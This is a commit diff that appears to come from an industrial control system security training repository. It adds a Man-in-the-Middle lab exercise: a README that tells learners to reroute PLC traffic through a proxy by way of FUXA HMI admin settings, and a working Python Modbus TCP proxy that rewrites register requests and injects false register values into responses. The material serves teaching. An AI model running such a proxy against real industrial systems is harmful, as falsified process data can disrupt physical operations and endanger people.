Dev container (#70)

* Fix the build of the virtual environment caused by python version

* Initial training content for MitM

* Changing devcontainer github actions to test virtual environment and run daily

* Update devContainer.yml

---------

Co-authored-by: Matthias Niedermaier <matthias.niedermaier@googlemail.com>

.github/workflows/devContainer.yml

@@ -5,6 +5,8 @@ on:
     branches: [ main ]
   pull_request:
     branches: [ main ]
+  schedule:
+  - cron: "0 0 * * *"
 
 jobs:
   tests:
@@ -41,3 +43,9 @@ jobs:
           configFile: .devcontainer/stm32/devcontainer.json
           env: .devcontainer/stm32/.env
           runCmd: make
+
+      - name: run tests for virtual environment
+        uses: devcontainers/ci@v0.3
+        with:
+          configFile: .devcontainer/virtual/devcontainer.json
+          env: .devcontainer/virtual/.env

training/README.md

@@ -13,4 +13,5 @@ This recommended sequence is designed to build your knowledge progressively, lay
 1. [Wireshark capture](wireshark_capture/README.md)
 1. [Flood & overwrite](flood_overwrite/README.md)
 1. [Password attack](password_attack/README.md)
-1. [OPC-UA](opcua/README.md)
+1. [OPC-UA](opcua/README.md)
+1. [Man-in-the-Middle (MitM)](mitm/README.md)

training/mitm/README.md

@@ -0,0 +1,25 @@
+# Man-in-the-Middle (MitM)
+
+This guide explains how to create a Modbus TCP proxy in Python that listens on all network interfaces (0.0.0.0).
+The proxy intercepts Modbus traffic between a Modbus client and a Modbus server, allowing you to manipulate the traffic (requests and responses) like a "man-in-the-middle" attack.
+
+### Prerequisite: Admin Access on FUXA HMI
+Before setting up the Python proxy for intercepting Modbus traffic, you need administrator access on the FUXA HMI. This is necessary to modify the IP settings of the connected PLC, directing its communication through the Python proxy.
+
+With admin access, you'll be able to change the PLC's configuration to use the proxy's IP address and port, ensuring all traffic is routed through the proxy for monitoring and manipulation.
+
+<table align="center"><tr><td align="center" width="9999">
+<img src="doc/fuxa_ip.png" width=59%></img>
+</td></tr></table>
+
+### Example
+An example of this proxy can be found in the mitm.py file. 
+However, it does not modify or manipulate any values that are meaningfull by default, allowing the proxy to only focus on significant traffic changes. You can easily extend it to customize the manipulations as needed for your specific use case.
+```sh
+python3 mitm.py
+```
+
+<details>
+  <summary><strong><span style="color:orange;font-weight: 900">Solution</span></strong></summary>
+
+</details>

training/mitm/mitm.py

@@ -0,0 +1,110 @@
+import socket
+import threading
+
+# Proxy settings
+PROXY_HOST = '0.0.0.0'   # The address to bind the proxy on
+PROXY_PORT = 5020          # The port to expose for Modbus traffic (standard Modbus TCP port is 502)
+MODBUS_SERVER_HOST = '127.0.0.1'  # Address of the real Modbus server (PLC)
+MODBUS_SERVER_PORT = 502    # Port of the real Modbus server
+
+BUFFER_SIZE = 1024  # Buffer size for receiving data
+
+def manipulate_request(data):
+    """
+    Intercept and modify the Modbus request as needed.
+    Example: Intercept a read holding register request (Function code 0x03) and modify the address.
+    """
+    print("[*] Original Modbus Request: ", data)
+
+    # Simple Example: If it's a read holding register (function code 0x03)
+    if data[7] == 0x03:  # Function code is at the 8th byte in Modbus TCP
+       print("[*] Intercepted Read Holding Registers Request")
+       # Optionally modify the starting register or number of registers
+       # Example: Change starting register to 0x0002 (original was 0x0000)
+       manipulated_data = bytearray(data)
+       manipulated_data[8] = 0x00  # Change starting register address
+       manipulated_data[9] = 0x02  # Continue modifying if needed
+       print("[*] Manipulated Modbus Request: ", manipulated_data)
+       return bytes(manipulated_data)
+
+    return data
+
+def manipulate_response(data):
+    """
+    Intercept and modify the Modbus response as needed.
+    Example: Change a value in the response.
+    """
+    print("[*] Original Modbus Response: ", data)
+
+    # Example: If it's a response to a read holding register request (function code 0x03)
+    if data[7] == 0x03:  # Function code 0x03 (response)
+       print("[*] Intercepted Read Holding Registers Response")
+       # Modify the register values in the response
+       # Example: Change the first register value to 1000 (0x03E8)
+       manipulated_data = bytearray(data)
+       manipulated_data[9] = 0x03  # High byte of 1000
+       manipulated_data[10] = 0xE8  # Low byte of 1000
+       print("[*] Manipulated Modbus Response: ", manipulated_data)
+       return bytes(manipulated_data)
+
+    return data
+
+def handle_modbus_client(client_socket):
+    """
+    Handle communication with the Modbus client.
+    """
+    # Connect to the real Modbus server
+    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    server_socket.connect((MODBUS_SERVER_HOST, MODBUS_SERVER_PORT))
+    print(f"[*] Modbus Proxy connected to real Modbus server")
+
+    try:
+        while True:
+            # Receive Modbus request from client
+            client_request = client_socket.recv(BUFFER_SIZE)
+            if not client_request:
+                break
+
+            # Optionally manipulate the request before sending it to the real server
+            manipulated_request = manipulate_request(client_request)
+
+            # Forward the request to the real Modbus server
+            server_socket.send(manipulated_request)
+
+            # Receive the response from the real Modbus server
+            server_response = server_socket.recv(BUFFER_SIZE)
+
+            # Optionally manipulate the response before sending it back to the client
+            manipulated_response = manipulate_response(server_response)
+
+            # Send the manipulated response back to the client
+            client_socket.send(manipulated_response)
+
+    except Exception as e:
+        print(f"[!] Error handling Modbus communication: {e}")
+
+    finally:
+        client_socket.close()
+        server_socket.close()
+
+def start_modbus_proxy():
+    """
+    Start the Modbus TCP proxy that listens for incoming Modbus clients.
+    """
+    proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    proxy_socket.bind((PROXY_HOST, PROXY_PORT))
+    proxy_socket.listen(5)
+    print(f"[*] Modbus Proxy listening on {PROXY_HOST}:{PROXY_PORT}")
+
+    while True:
+        # Accept incoming connection from Modbus client
+        client_socket, addr = proxy_socket.accept()
+        print(f"[*] Accepted connection from {addr}")
+
+        # Handle the client in a new thread
+        client_thread = threading.Thread(target=handle_modbus_client, args=(client_socket,))
+        client_thread.start()
+
+if __name__ == "__main__":
+    start_modbus_proxy()
+